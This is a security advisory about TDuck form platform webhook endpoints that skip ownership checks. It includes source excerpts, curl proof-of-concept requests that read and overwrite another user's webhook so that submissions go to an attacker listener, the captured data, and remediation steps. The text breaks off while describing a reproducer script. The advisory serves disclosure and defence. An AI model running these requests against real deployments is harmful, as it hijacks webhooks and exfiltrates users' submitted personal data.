| 描述 | # TDuck Form Platform: Missing Object-Level Authorization in Webhook Config Endpoints Leads to Cross-User Read/Overwrite and Exfiltration of Form Submission Data
## Summary
**Title:** TDuckCloud `tduck-survey-form` webhook configuration endpoints lack object-level authorization, allowing any authenticated low-privileged user to read and overwrite the webhook callback of any form, after which every new submission of the victim's form is automatically POSTed in full to the attacker-controlled URL (ongoing data exfiltration).
The endpoints `GET /webhook/config/`, `POST /webhook/config/save` and `POST /webhook/config/sendTest` never verify that the form identified by `sourceId` (the form's `formKey`) belongs to the calling user. The `formKey` is an 8-character short code that is publicly exposed in the form's share link, so any ordinary registered user (non-admin) can: (1) read the webhook configuration of any form, disclosing the callback URL (which frequently embeds secret/token/signing parameters); (2) overwrite the victim's webhook with an attacker-controlled URL — from then on the server pushes the complete JSON of every new submission to the attacker (verified end-to-end in a controlled test), while the victim's legitimate integration silently breaks (availability impact).
## Affected Product / Versions
| Item | Value |
| ------------------ | ------------------------------------------------------------ |
| Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) |
| Affected component | `tduck-webhook` module: `WebhookConfigController` / `WebhookConfigServiceImpl` / `AddWebhookEventListener` / `WebhookSenderService` |
| Affected versions | All releases shipping these controllers. Verified against the official image `tduckcloud/tduck-platform` (image build 2026-06-10, deployed via the project's `docker/docker-compose.yaml`), and against source baseline commit `43ffa9c9` (tag `Tduckx-13`, 2026-08-13); the same vulnerable code is present in the `v5.0` and `v4.0` source tags. |
| Test environment | `http://localhost:8999` (docker-compose: tduck-platform + MySQL 8.0.36); both accounts are ordinary users (`admin=false`) |
## Root Cause (source evidence)
`tduck-webhook/src/main/java/com/tduck/cloud/webhook/controller/WebhookConfigController.java`:
```java
@GetMapping(value = "/")
public Result<WebhookConfigEntity> getInfo(@RequestParam String sourceType, @RequestParam String sourceId) {
return Result.success(webhookConfigService.getOne(Wrappers.<WebhookConfigEntity>lambdaQuery()
.eq(WebhookConfigEntity::getSourceType, sourceType)
.eq(WebhookConfigEntity::getSourceId, sourceId))); // no ownership check
}
@PostMapping("save")
public Result<Boolean> save(@RequestBody WebhookConfigEntity webhookConfig) {
ValidatorUtils.validateEntity(webhookConfig); // field-emptiness only
return Result.success(webhookConfigService.saveWebhookConfig(webhookConfig)); // no ownership check
}
@PostMapping("sendTest")
public Result<Boolean> sendTest(@RequestBody WebhookConfigEntity webhookConfig) {
SendTestWebhookEvent sendTestWebhookEvent = new SendTestWebhookEvent(webhookConfig, ...);
SpringContextUtils.publishEvent(sendTestWebhookEvent); // arbitrary URL, no ownership check
return Result.success(true);
}
```
- None of the three endpoints references `SecurityUtils` / `FormAuthUtils`; i.e. there is no check that the form belongs to the current user.
- `WebhookConfigServiceImpl.saveWebhookConfig` only de-duplicates by `(sourceType, sourceId)` and then `save/updateById` — again no user-scoped condition.
- Webhook configs are keyed by `(sourceType="form", sourceId=formKey)` and the `formKey` is publicly visible in the share link `/form/details/{formKey}` — no brute force needed.
- Exfiltration chain (no action required from the victim): new submission → `FormWebHookUtils.pushFormDataSaveWebHook(formData)` → `AddWebhookEventListener` looks up the config by formKey (already overwritten by the attacker) → `WebhookSenderService.sendHttp` POSTs the complete submission JSON to the attacker URL.
## CWE
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-862: Missing Authorization (function level)
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (callback URL disclosure / submission data exfiltration)
## Attack Vector & Preconditions
- Attacker: any ordinary registered user (`admin=false`; verified with exactly such an account).
- Precondition: only the victim form's `formKey` from its public share link.
- No administrator privileges, no knowledge of the victim's credentials, no interaction with the victim.
## PoC (verified evidence)
> Environment `http://localhost:8999`; auth header: `token: <JWT>` (`platform.jwt.header` is `token` in this deployment). Attacker `[email protected]` (id=1002, `admin=false`); victim `[email protected]` (id=1001, `admin=false`); victim form `formKey=8wYgRIGX`.
### 1) Read the victim's webhook configuration (information disclosure)
```bash
curl -s "http://localhost:8999/webhook/config/?sourceType=form&sourceId=8wYgRIGX" \
-H "token: <attacker-token>"
```
Actual response (excerpt, `code=200`):
```json
{
"code": 200,
"data": {
"id": 64,
"hookName": "poc-hook",
"sourceType": "form",
"sourceId": "8wYgRIGX",
"url": "http://172.20.0.1:9999/victim-hook",
"requestType": "POST",
"enabled": true
}
}
```
→ The attacker successfully read the victim's webhook callback URL. (Note: `getInfo` is mapped as `@GetMapping("/")`, so the path requires the trailing slash `/webhook/config/`.)
### 2) Overwrite the victim's webhook (hijack)
```bash
curl -s -X POST "http://localhost:8999/webhook/config/save" \
-H "token: <attacker-token>" -H "Content-Type: application/json" \
-d '{"hookName":"attacker-hook","sourceType":"form","sourceId":"8wYgRIGX",
"url":"http://172.20.0.1:9998/attacker-hook","requestType":"POST",
"enabled":true,"otherOptions":{"eventTypes":["form_data_add"]}}'
```
Actual response: `{"code":200,"msg":null,"data":true}`; a read-back confirmed the config now points to the attacker's URL.
### 3) Submission data exfiltration (full end-to-end)
The attacker ran a listener at `http://172.20.0.1:9998/attacker-hook`. After a new submission to the victim's form, the server automatically POSTed the complete submission to the attacker's listener. **Body captured at the attacker's listener (complete submission JSON, including the `secret` field):**
```json
{"input1":"Bob","input2":"[email protected]","secret":"EXFIL-PAYLOAD-42",
"formKey":"8wYgRIGX","serialNumber":3,"submitRequestIp":"172.20.0.1",
"submitAddress":"内网IP","createBy":"1002","id":211741,
"createTime":"2026-08-30 22:28:03","updateTime":"2026-08-30 22:28:03",
"eventType":"form_data_add","eventTime":1788100083376}
```
Server-side `webhook_event` records and application logs corroborate the delivery attempt (`webhook_config_id=64` — the hijacked config — `event_type=form_data_add`, full `event_data`).
### 4) Arbitrary-URL test push
```bash
curl -s -X POST "http://localhost:8999/webhook/config/sendTest" \
-H "token: <attacker-token>" -H "Content-Type: application/json" \
-d '{"hookName":"x","sourceType":"form","sourceId":"arbitrary",
"url":"http://172.20.0.1:9998/sendtest","requestType":"POST","enabled":true}'
```
Actual response: `{"code":200,"msg":null,"data":true}` (in the tested snapshot `SendTestWebhookEvent` has no listener and no HTTP request is actually sent, but the endpoint equally lacks any ownership check).
## Impact
1. **Confidentiality (High):** anyone can read any form's webhook configuration (disclosing callback URLs and embedded secrets); after overwriting, **all subsequent submissions of that form are continuously exfiltrated** to the attacker (exam answers, registration data, survey PII).
2. **Integrity / Availability (Medium–High):** the victim's existing integrations silently break (no more notifications, events rewritten), causing business disruption.
3. Extremely low exploitation threshold: ordinary account + public `formKey`, no victim interaction.
## Remediation
1. In `WebhookConfigController.getInfo / save / sendTest`, call `FormAuthUtils.hasPermission(sourceId)` on the `sourceId` (formKey) before the operation (admins exempted).
2. Enforce the same ownership constraint in `WebhookConfigServiceImpl.saveWebhookConfig` (defense in depth against future entry points).
3. Restrict `sendTest` to the current user's own configurations, and whitelist protocols / block internal-network URLs.
4. Treat the webhook URL as sensitive: mask it in responses and expose the full value only to the owner in edit mode.
## Reproducer Script
A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_webhook_config.py` and has been |
|---|